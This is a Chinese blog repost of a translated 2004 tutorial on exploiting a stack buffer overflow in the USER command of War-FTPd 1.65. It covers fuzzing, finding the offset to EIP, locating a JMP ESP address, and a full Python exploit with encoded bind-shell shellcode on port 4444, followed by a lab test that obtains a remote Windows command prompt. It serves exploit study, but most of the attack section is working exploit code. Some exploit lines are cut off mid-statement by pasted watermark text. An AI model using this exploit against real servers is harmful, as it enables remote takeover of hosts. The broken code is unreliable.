Win32 缓冲区溢出实战 (转)

windows 32位缓冲区溢出漏洞 windows32位系统缓冲区溢出漏洞实践,syncbreeze软件缓冲区溢出漏洞 阅读详情


Win32 缓冲区溢出实战

--------------------------------------------------------------------------------
  
 
原文:《Intro to Win32 Exploits》
作者:Sergio Alvarez 2004.09.05
译者:cloie#ph4nt0m.org 2004.10.30
一、前序
很多次被朋友邀请写篇关于在Win32下Exploit的文章。一来是因为此
类文章中关于*nix 平台比较多,而Win32相对较少;二来是因为在Win32
中写exploit有些地方可能困难一点。以下我将用一个具体的简单例子,详
细分析漏洞的发现挖掘、调试以及exploit编写利用,这里选择'War-FTPd
vl.65' 的一个stack缓冲区溢出漏洞。
首先,需要准备以下实战工具:
python - www.python.org
pyOpenSSL - http://pyopenssl.sourceforge.net/
Ollydbg - http://home.t-online.de/Ollydbg/
OllyUni by FX of Phenoelit - http://www.phenoelit.de
War-Ftpd version 1.65 by jgaa - http://www.jgaa.com
Fuzzer vl .0 - http://hack3rs.org/~shadown/Twister/
( 译者注)因为pyOpenSSL可以找到针对python 2.2.x的win32编译版,所
以python安装2.2.x会比较方便。
二、挖掘漏洞
能够实时调试在漏洞挖掘过程中,是非常重要的,可以知道究竟发生
了什么。下面用Ollydbg打开要调试的程序'War-FTPd vl.65':
?运行'Ollydbg'
?File->Open (or press F3) (图一)
?浏览到安装'War-FTPd vl.65' 的目录然后选择
'war-ftpd.exe' file (图二)
?Debug->Run (or press F9) (图三)
?在War-Ftp 窗口菜单中运行->'Start Service'(图四)
启动程序后,可能会有些explaination,按照提示(shift+F7/F8/F9)跳过
即可。不管程序是由Ollydbg(其他调试工具也一样) 启动(Open)的,还是
附加(attached)方式的,进程都将被调试器挂起,我们需要使程序继续运行。
幻影旅团溢出学习材料cloie#www.ph4nt0m.org
图一

图二


图三


图四


OK,现在War-FTPd已经运行了,接下来我们用fuzzer来帮助我们挖掘
软件漏洞:
C:/fuzzer>fuzzer.py
#####################################
# Net-Twister FuzzerModule #
# Coded by Sergio 'shadown' Alvarez #
#####################################
Usage: C:/fuzzer/fuzzer.py
protocols available: smtp, ftp, pop3
我们选择FTP模式进行测试:
C:/fuzzer>fuzzer.py 192.168.178.129 21 ftp
看到以下显示信息:
<**> It was suppose to recv something, but recv nothing CHECKIT! <**>
或者还有如下信息:
<**> Bug found!!! ;))
<**> -> Sending: USER
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
让我们查看一下Ollydbg底部的状态栏,显示了'Access Violation
when executing [41414141]..'的信息,右上角窗口显示EIP的值为地址指向
41414141,如图五
图五

这就意味着,FTP认证部分的USER命令上存在着缓冲区溢出,超长的
字符串覆盖了EIP。接下来我们将不停的尝试调试这个BUG,由于每次调
试都可能造成War-Ftpd进程死掉,你可以在中通过'Debug->Restart'来重启
进程。
三、调试漏洞
发现了软件漏洞,我们可以通过覆盖EIP来改变程序原有的运行流程,
跳转去运行我们安排的shellcode。为实现这个目的,必须知道两个要素,
多长的字符串可以覆盖到EIP,还有就是我们安排的shellcode放在了什么
地方。这跟LINUX中很相似,当然,我们也将看到一些Win32特有的部分。
正如上面所见,现在覆盖EIP的是41414141,究竟多少长的buffer可以
覆盖到内存中的EIP呢?我写了一个简单的脚本'reacheip.py',可以生成都
是数字排列的buffer,并且可以通过修改参数来修改数字的排列和长度,
方便我们找到需要构建的buffer长度。
脚本简单原理如下,这里我们先假设寄存器大小是1byte:
a.首先生产如下数字串
123456789123456789123456789123456789123456789
b.然后我们看到某个数字覆盖了EIP(假设EIP大小是1byte),假设是
2,然后我们重新构建数字串,只改变原来数字2所在的位置,其
他位置数字忽略或不变。
c.现在某个数字又覆盖了EIP,假设是4,这样我们就可以计算出
buffer的真实长度,用于写exploit了。(译者注:因为只是简单说明
一下脚本的功能,所以这里作者并没有提及这个数字4是排列中第
几个4)
现实中X86机器中寄存器是4byte的,所以我们将上面的数字串扩展到4
个数字相同的排列。实际调试中又发现,有时候并不是刚好相同的4个数
字覆盖了EIP,比如是4445,所以我们在buffer的开头加入一个align字符,
比如A,将buffer挤动一位,这样覆盖EIP的数字串就是4444了。
有了'reacheip.py'脚本的构建buffer功能,还需要有发送和接收功能(网
络发送和接收),将'reacheip.py'作为一个'library',重新组合一下得到新脚
本'reachwar-ftpd.py',用来专门调试War-Ftpd:
简单解释一下这个脚本的参数:
C:/fuzzer>reach_war-ftpd.py
Usage: C:/fuzzer>reach_war-ftpd.py

host: 目标主机的地址
port: 目标主机的端口
align: 放在数字串之前的填充数据个数(1 - 3)
幻影旅团溢出学习材料cloie#www.ph4nt0m.org
toreach: 在新数字串中需要被替换的数字(1-9)
repeat: 构建数字串的个数(指修改重建后的某段数字串)
cycles: 第几次替换(1-2)
firstreached: 前一次被替换的数字(1-9)
下面对War-Ftpd进行实战:
首先,最初的数字串为111122223333...类似,重复200次,总数字串个
数为4*200=800:
C:/fuzzer>reach_war-ftpd.py 192.168.178.129 21 0 0 200 1 0
220-Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 800
331 User name okay, Need password.
这个时候查看Ollydbg,如下图

看到信息显示信息'Access violation when executing [36353535]',覆盖
EIP的是数字串是36353535,显然我们需要移动buffer中的数字串,使之覆
盖EIP的使数字串35353535。这里显示的HEX十六进制的数字,我们可以
从ASCII表中得到每个字母或者数字对应的HEX值,比如'1' = 31, '2' = 32,
'3' = 33, '4' = 34, '5' = 35,..., '9' = 39,如果在LINUX系统,可以直接输入命
令'man ascii'查看对应表。
幻影旅团溢出学习材料cloie#www.ph4nt0m.org
调整后再测试,这个时候的数字串为A111122223333...:
C:/fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 0 200 1 0
220-Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 801
331 User name okay, Need password.
这个时候查看Ollydbg,如下图

看到信息显示信息'Access violation when executing [35353535]',看来
数字5是我们需要替换的了,替换之,即原来是5555的地方依次用1111,
2222,3333,...替换,其他位置的数字无关紧要会全部用A替换:
C:/fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 5 20 1 0
220-Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 737
331 User name okay, Need password.
Check in Ollydbg!

这个时候查看Ollydbg,如下图


看到覆盖EIP的还是5555,我们还需要第二次替换它,即将上一次buffer
中5555的位置用1111,2222,3333,...依次替换如下:
C:/fuzzer>reach_war-ftpd.py 192.168.178.129 21 1 5 10 2 5
220-Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220
Please enter your user name.
Buffer size: 3401
331 User name okay, Need password.
Check in Ollydbg!
这个时候查看Ollydbg,如下图


这次覆盖EIP的是32323232,即2222,这样我们就可以得到buffer覆盖
EIP时候的需要长度了。先脱离'reachwar-ftpd.py',直接用'reacheip.py'来打
印出这个时候的buffer:
C:/fuzzer>reach_war-ftpd.py 1 5 10 2 5
Buffer size: 3401
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......
(下面省略无关显示)
然后将2222之前的显示拷贝(Win2k的cmd下鼠标圈选,回车拷贝到内
存中,需要粘贴的地方右键),以备下面用:
C:/fuzzer> python -c "print
len('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"
485
这样我们就得到了我们想知道的长度485。更加简单的方法就是直接用
'reacheip.py',原理其实是一样的,其他情况可以修改参数同样获得:
C:/fuzzer>reach_eip.py 1 5 1 2 5
Buffer size: 485
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA1111AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在我们知道了buffer的长度,我们可以初步调试来利用这个漏洞。构
建形如'USER ' + '485 bytes long string' + 'a test RET ADDR',实际中如
'triggerdeadbeef.py'脚本:
C:/fuzzer>type trigger_deadbeef.py
import struct
print 'USER '+'/x41'*485+struct.pack('幻影旅团溢出学习材料cloie#www.ph4nt0m.org
我们用nc来发送这个buffer:
C:/fuzzer>trigger_deadbeef.py | nc 192.168.178.129 21
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
这个时候按CTRL+C 停止'nc',在Ollydbg中如下图


显示信息为'Access violation when executing [DEADBEEF]',看来很好
的覆盖了EIP。接下来做第二步工作,寻找shellcode的位置,这里就遇到
LINUX跟Win32有区别的地方了。从上面可以看到,这个时候stack中的地
址都是类似0x00A4FDD0,要用这样的地址值覆盖EIP是不妥的,因为里面
包含了0x00,不能用于RET ADDRESS(原理参考其他文档)。
仔细查看stack(Ollydbg中右下角窗口)中,发现ESP的地址紧跟在EIP后
面不远的地方,就相隔4 bytes。这就是Win32中exploit的另一条罗马大道
(详细原理分析看www.nsfocus.net莫大经典文章)了,将shellcode放在这个
时候ESP地址开始的地方,在EIP位置用一个'JMP ESP'的地址覆盖,这样
就可以很好的执行我们的shellcode了。
但是如何找到'JMP ESP'的地址呢?可以从互联网上搜索到针对特定
系统的值,也有一些通用的地址。这里提供一种方法手工在自己系统上获
得,利用了Ollydbg的一个插件,即OllyUni by FX of Phenoelit,将OllyUni.dll
拷贝到Ollydbg目录下即可用,使用方法Ollydbg中左上窗口右键,选
'Overflow Return Address->ASCII overflow returns->Search JMP/CALL
ESP',如下图:


搜索的时间会有一点长,结束后'View->Log',看到很多地址值,
选一个没有0x00的即可。
PS,利用lion那个sac.exe可以达到同样的效果。

四、漏洞利用(exploit)
一个简单的利用脚本如下:
C:/fuzzer>type exp_beta.py
import struct
sc =
"/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/xe0/x66"
sc +=
"/x1c/xc2/x83/xeb/xfc/xe2/xf4/x1c/x8e/x4a/xc2/xe0/x66/x4f/x97/xb6"
sc +=
"/x31/x97/xae/xc4/x7e/x97/x87/xdc/xed/x48/xc7/x98/x67/xf6/x49/xaa"
sc +=
"/x7e/x97/x98/xc0/x67/xf7/x21/xd2/x2f/x97/xf6/x6b/x67/xf2/xf3/x1f"
sc +=
"/x9a/x2d/x02/x4c/x5e/xfc/xb6/xe7/xa7/xd3/xcf/xe1/xa1/xf7/x30/xdb"
sc +=
"/x1a/x38/xd6/x95/x87/x97/x98/xc4/x67/xf7/xa4/x6b/x6a/x57/x49/xba"
sc +=
"/x7a/x1d/x29/x6b/x62/x97/xc3/x08/x8d/x1e/xf3/x20/x39/x42/x9f/xbb"
sc +=
"/xa4/x14/xc2/xbe/x0c/x2c/x9b/x84/xed/x05/x49/xbb/x6a/x97/x99/xfc"
sc +=
"/xed/x07/x49/xbb/x6e/x4f/xaa/x6e/x28/x12/x2e/x1f/xb0/x95/x05/x61"
sc +=
"/x8a/x1c/xc3/xe0/x66/x4b/x94/xb3/xef/xf9/x2a/xc7/x66/x1c/xc2/x70"
sc +=
"/x67/x1c/xc2/x56/x7f/x04/x25/x44/x7f/x6c/x2b/x05/x2f/x9a/x8b/x44"
sc +=
"/x7c/x6c/x05/x44/xcb/x32/x2b/x39/x6f/xe9/x6f/x2b/x8b/xe0/xf9/xb7"
sc +=
"/x35/x2e/x9d/xd3/x54/x1c/x99/x6d/x2d/x3c/x93/x1f/xb1/x95/x1d/x69"
sc +=
"/xa5/x91/xb7/xf4/x0c/x1b/x9b/xb1/x35/xe3/xf6/x6f/x99/x49/xc6/xb9"
sc +=
"/xef/x18/x4c/x02/x94/x37/xe5/xb4/x99/x2b/x3d/xb5/x56/x2d/x02/xb0"
sc +=
"/x36/x4c/x92/xa0/x36/x5c/x92/x1f/x33/x30/x4b/x27/x57/xc7/x91/xb3"
sc +=
"/x0e/x1e/xc2/xf1/x3a/x95/x22/x8a/x76/x4c/x95/x1f/x33/x38/x91/xb7"
sc +=
"/x99/x49/xea/xb3/x32/x4b/x3d/xb5/x46/x95/x05/x88/x25/x51/x86/xe0"
sc +=
"/xef/xff/x45/x1a/x57/xdc/x4f/x9c/x42/xb0/xa8/xf5/x3f/xef/x69/x67"
sc +=
幻影旅团溢出学习材料cloie#www.ph4nt0m.org
"/x9c/x9f/x2e/xb4/xa0/x58/xe6/xf0/x22/x7a/x05/xa4/x42/x20/xc3/xe1"
sc +=
"/xef/x60/xe6/xa8/xef/x60/xe6/xac/xef/x60/xe6/xb0/xeb/x58/xe6/xf0"
sc +=
"/x32/x4c/x93/xb1/x37/x5d/x93/xa9/x37/x4d/x91/xb1/x99/x69/xc2/x88"
sc +=
"/x14/xe2/x71/xf6/x99/x49/xc6/x1f/xb6/x95/x24/x1f/x13/x1c/xaa/x4d"
sc +=
"/xbf/x19/x0c/x1f/x33/x18/x4b/x23/x0c/xe3/x3d/xd6/x99/xcf/x3d/x95"
sc +=
"/x66/x74/x32/x6a/x62/x43/x3d/xb5/x62/x2d/x19/xb3/x99/xcc/xc2"
print 'USER '+'/x41'*485+struct.pack('实际利用一下,需要注意的是0x750362c3是作者系统上的'JMP ESP'地
址,不同系统平台获得的'JMP ESP'地址是不一样的。其中'/x41'和'/x42'类
似NOP,会增加一些寄存器的值,在这里不会影响exploit。Sc是shellcode,
会绑定一个shell在4444端口。测试一下:
C:/fuzzer> exp_beta.py | nc 192.168.178.129 21
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
这个时候CTRL+C停止nc,看看有没有成功溢出:
C:/fuzzer> $ telnet 192.168.178.129 4444
Trying 192.168.178.129...
Connected to 192.168.178.129.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:/Program Files/War-ftpd>
OK,测试成功^_^。
五、译者心得
首先,感谢作者,给了我们一篇如此详细如此经典的文章,可以说是
面面俱到,图文并茂,无论怎样的赞誉我想都是作者受之无愧的。文章从
漏洞发现、漏洞调试到漏洞利用,详细讲解如何找到buffer长度,如何寻
找'JMP ESP'地址,如何写exploit。对于初学者,这样的文章很值得好好学
习哦。

再者,本文的可扩展性非常好。比如确定buffer长度部分,如果buffer
过长,即替换次数超过2次(不知道会不会有这样的情况),假设CCPROXY
6.0那个HTTP LOG溢出的buffer,你可能需要通过修改reach_eip.py来实现
第三次替换。
同样的,fuzzer可以挖掘War-Ftpd的BUG,也可以尝试用同样的方法挖
掘其他FTPD的漏洞。比如最近发布的Ability Server 2.34 FTP STOR Buffer
Overflow,就是这篇文章的实践。同样,还可以对SMTP或者POP进行挖
掘,如果你对yahoopops 0.6进行测试,你也可以发现那个SMTP的溢出漏
洞。修改一下,也可以支持其他协议。
作者唯一没有提及的就是exploit中'/x42'*32,在调试的时候,明明看到
EIP和ESP相差只是4 bytes,为什么这里用32 bytes填充呢?这个问题困扰
了译者很久,因为作者其他文章都没有英文版,所以他在其他文章里提及
过此问题也说不定。
后来经幻影的肉肉帮助,从单步执行查看具体发生什么这点入手,终
于明白这里的32 bytes其实是跟shellcode有关系的。仔细看上面的sc,里面
有一个机器码'/x5b',汇编句就是'POP EBX',执行这句的时候可能跟其他
一些寄存器的值有关联,而'/x42'的汇编句是'INC EDX',至于如何关联,
就要请高手解答了。
如果换一个shellcode,则只需4 bytes的数据填充即可,这样一来,思
路就清晰多了,千万不要被那32 bytes混淆了。
趁周末翻译完了这篇文章,在此特别感谢幻影的所有成员,感谢在译
者学习过程中给予莫大帮助的网友,谢谢。翻译不对不妥之处请来信纠正。
最后以ipxodi前辈推荐的一句警句让我们共勉:
"If you assume that there's no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are opportunities to
change things."
-Noam Chomsky


 

缓冲区溢出报告 缓冲区溢出报告1 概述1.1 编写背景         网络防范技术的日益成熟,使木马、病毒这类恶意代码的植入变得困难。网络黑客开始针对系统和程序自身存在的漏洞,编写相应的攻击程序。其中最常见的就是对缓冲区溢出漏洞的攻击,而在诸多缓冲区溢出中又以堆栈溢出的问题最有代表性。目前,利用缓冲区溢出漏洞进行的攻击已经占到了整个网络攻击次数的一半以上。        对缓冲区溢出漏洞攻击,可 阅读详情

相关推荐

6.win32网络编程(二).recv函数的缓冲区大小的问题

继续之前的在VC++上的win32网络编程版本,这次试试在VS上运行: 开发环境:VS2015 和 VS2013 这次在跑之前的代码的时候,发现有几个bug: 1. 客户端并没有send,服务端会继续调用recv函数(而不是被阻塞),接收到一大片的空字符缓冲 发现好像是服务器的缓冲区大小大于客户端的,所以会调用recv函数2次 其实看到百度百科中对recv这个函数的解释中说到:

I feel lost 3308

war-ftpd 1.65 缓冲区溢出漏洞实验

本文利用 War-ftpd 1.65 的缓冲区漏洞,为 Windows XP 新建一个管理员账户。实验前需要安装 Windows XP 虚拟机和 Python 2.7 。 相关软件安装 新建一个文件夹放 ward169 ,双击打开。之所以要新建一个文件夹,是因为这个应用程序会在他所在的目录生成一堆文件,像下面这样 其中有一个 war-ftpd 就是我们要的,也就是带有缓冲区漏洞的程序。这个 war-ftpd 原本是一个 ftp 服务器的守护进程,打开大概是这个样子 但是这个时候 ftp 服务器还没有开启

LutingWang的博客 2364

Win32漏洞开发实战:从挖掘到利用的攻防核心技术解析

缓冲区溢出是软件安全领域的经典漏洞类型,其原理源于程序对内存边界检查的缺失,导致攻击者能够覆盖关键内存区域并劫持程序控制流。这项技术的核心价值在于揭示软件底层运行机制的安全缺陷,是理解现代操作系统防护体系的基础。在二进制安全、红队攻防和恶意软件分析等应用场景中,掌握漏洞挖掘与利用技术对于构建有效的防御策略至关重要。本文聚焦于Win32平台,深入探讨栈溢出、堆溢出等常见漏洞的利用方法,并详细解析如何通过ROP链等技术绕过DEP、ASLR等现代防护机制,为安全研究人员提供从理论到实践的完整攻防视角。

weixin_33709609的博客 582

关于32位Linux系统内存溢出问题的情况及几种常见解决方法

由于近期Xenserver系统的OOMkill引起的批量虚拟机hang死以及刀片宕机重启问题,所以针对Out of memory 问题进行了了解和熟悉。 根据查阅网上一些文档LINUX系统具有OOMKiller的保护机制,用于避免 Linux 在内存不足的时候不至于出太严重的问题,把一些无关紧要的进程杀掉,以保证系统的正常运行。   内存是通过指针寻址的,因而CPU的字长决定了CPU所能管理

※belief※的博客 2790

缓冲区溢出基本C程序的控制台和Win32版本

#include <stdio.h> #include <string.h> int main(void) { char buff[8] = {0}; char *p = "012345678912345"; strcpy(buff,p); printf("%s\n",buff); return 0; } 这是缓冲区溢出原理...

bcbobo21cn的专栏 390

Win32 缓冲区溢出实战(PDF)

Win32 缓冲区溢出实战 原文:《Intro to Win32 Exploits》 作者:Sergio Alvarez 2004.09.05 译者:cloie#ph4nt0m.org 2004.10.30 一、前序 很多次被朋友邀请写篇关于在Win32下Exploit的文章。一来是因为此类文章中关于*nix 平台比较多,而Win32相对较少;二来是因为在Win32 中写exploit有些地方可能困难一点。以下我将用一个具体的简单例子,详细分析漏洞的发现挖掘、调试以及exploit编写利用,这里选择'War-FTPdvl.65' 的一个stack缓冲区溢出漏洞。 首先,需要准备以下实战工具: python - www.python.org pyOpenSSL - http://pyopenssl.sourceforge.net/ Ollydbg - http://home.t-online.de/Ollydbg/ OllyUni by FX of Phenoelit - http://www.phenoelit.de War-Ftpd version 1.65 by jgaa - http://www.jgaa.com Fuzzer vl .0 - http://hack3rs.org/~shadown/Twister/ ( 译者注)因为pyOpenSSL可以找到针对python 2.2.x的win32编译版,所以python安装2.2.x会比较方便。

如何利用Python和win32编程避免重复性体力劳动(三)——文本框操作:WM_GETTEXT 和WM_SETTEXT

Part 3:控件操作A 通过目录操作,我们打开了打开文件对话框。为了简单起见,我们可以直接在文件名处填入要打开文件的绝对路径。怎么填呢? 首先还是定位到文本框控件 handle = find_subHandle(Mhandle, [("ComboBoxEx32", 0), ("ComboBox", 0), ("Edit", 0)]) find_subHandle()是在Part 1中定义

游走的psychiatrist 1万+

企业级智能问数开发的核心痛点与技术聚焦

本文介绍了企业级智能问数系统开发的三大核心问题和解决方案:语义解析不精准、SQL生成不健壮、企业适配难落地。文章从开发者视角出发,详细拆解了NLU语义解析、SQL生成、对话记忆、企业级适配四大核心模块的技术实现。 在技术选型方面,推荐了LangChain+DeepSeek-R1、FAISS/Milvus、SQLAlchemy等工具链组合。针对企业级需求,重点讲解了: 语义解析模块的意图识别优化和要素提取技术 SQL生成模块的语法校验与性能优化方案 对话记忆模块的Redis存储实现 企业级适配的三层防护体系和

lamehsl的专栏 1048

从零开始学Win32平台缓冲区溢出(Part1)

原文:Stack Based Buffer Overflow in Win 32 Platform: The Basics 译者:鸢尾 来源:从零开始学Win32平台缓冲区溢出(Part1) 缓冲区溢出是一个常见的且大家经常耳闻的软件安全漏洞,缓冲区溢出即是数据被过多的写入内存或者缓冲区,当一个缓冲区内的数据写满后,如果继续写入数据,数据就会溢出到其他缓冲区中,这将会覆盖或者说是

龙哥盟 4万+

决策大模型与生成式大模型有何不同?一文拆解技术框架与落地路径

大模型技术正从内容生成走向复杂场景的智能决策。与生成式大模型拟合概率分布不同,决策大模型以序列决策为核心,融合强化学习机制,在动态环境中感知反馈、持续修正行动路径。其技术框架涵盖语义理解、规划推理与闭环决策,并通过世界模型进行低成本仿真推演,显著提升供应链调度、物流排程等场景的应对效率。实际落地时需结合传统优化算法与人工兜底,构建“语义先导+数值寻优”的分层架构,才能平衡精度与稳定性。这篇内容拆解决策大模型的技术组成、落地路径与常见误区,为企业智能化转型提供可参考的实践框架。

weixin_29057163的博客 191

Ferromagnetic soft continuum robots

本文来自机器人领域顶刊,Science Robotics。介绍了一种铁磁软连续体机器人,主要贡献为1)介绍了一个基于磁性微粒和聚合物的软连续体机器人的制造方法,在机器人外表面涂了一层水凝胶,极大地降低了摩擦阻力;2)并研究了在磁场下,不同粒子体积分数下,此机器人的驱动性能;利用手动操控的磁铁,进行了许多实验证明该机器人性能的优异性。 铁磁软连续体机器人 Ferromagnetic soft continuum robots [1] Paper Link Authors: Kim, Yoonho, et al

XU Yangxin的博客 1375

Win32 缓冲区溢出实战

声明:原来是PDF格式的文档,我花了点时间手工转成了文本文档了。幻影旅团溢出学习材料cloie#www.ph4nt0m.orgWin32 缓冲区溢出实战原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写篇关于在Win32下Exploit的文章。一来是

919

UR10e+D435+ag95夹爪 gazebo 仿真记录(一)

学习仿真环境gazebo下利用UR10e机械臂搭建模拟平台,此博客用于记录搭建过程!!主要参考光头明明、总有一天全城的人都要高看我们和bug404_三位博主。最终自己功能包的主要参考了bug404_的ur_platform,感觉这个结构比较合理。运行环境:Ubuntu18.04+Ros-melodic+Gazebo9。

Forbiven的博客 6330

Win32的缓冲区溢出攻击(涉及用WinDbg分析 overflow函数的返回地址所在的地址与buffer首地址的距离 OFF_SET)

一、实验目的 在32位的Windows2003系统下对 homework. cpp用/FD /Zi/ GS-开关编译为可执行文件,用Windbg分析 overflow函数的返回地址所在的地址与buer首地址的距离 OFF SET。 实验环境 二、实验过程(先学习overflow) 1.overflow函数的源代码 #include <stdio.h> #include <string.h> char largebuff[] ="01234567890123456789ABCDEFGH

南七行者的博客 1234

使用lighttpd和开发板进行交互

本文介绍了如何在嵌入式开发板上使用Lighttpd Web服务器实现硬件交互功能。主要内容包括:Lighttpd通过CGI程序间接控制硬件的基本原理;lighttpd.conf配置文件的详细解析;开发板文件目录结构设计;用C语言编写控制GPIO的CGI程序示例;网页调用CGI实现按钮触发控制的HTML代码;常见问题调试建议。最后通过效果图展示了网页按钮点击后成功控制LED灯的实际效果,验证了Lighttpd+CGI方案在嵌入式设备Web控制中的可行性。

m0_49476241的博客 1428

YOLOv13改进:卷积魔改 | 动态蛇形卷积(Dynamic Snake Convolution),实现暴力涨点

如何跟YOLOv13结合:替代YOLOv13的DS-C3K2

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 366

关于缓冲区溢出(Buffer Overflow)

接触黑客的同志们经常遇到,使用一些扫描工具扫描的时候,会得到一些缓冲区溢出的漏洞,但是怎么利用自己是一团雾水 网上很少有相关的工具,也很少有相关的文章,下面我们就说说这个“窿西”吧  [蛋痛]文章丢失了一次,优快云需要改进暂存机制   用VB的便宜不太明白“缓冲区”,当

水木清华 3430

大语言模型原理与工程实践:手把手教你训练 7B 大语言模型 自动化训练框架

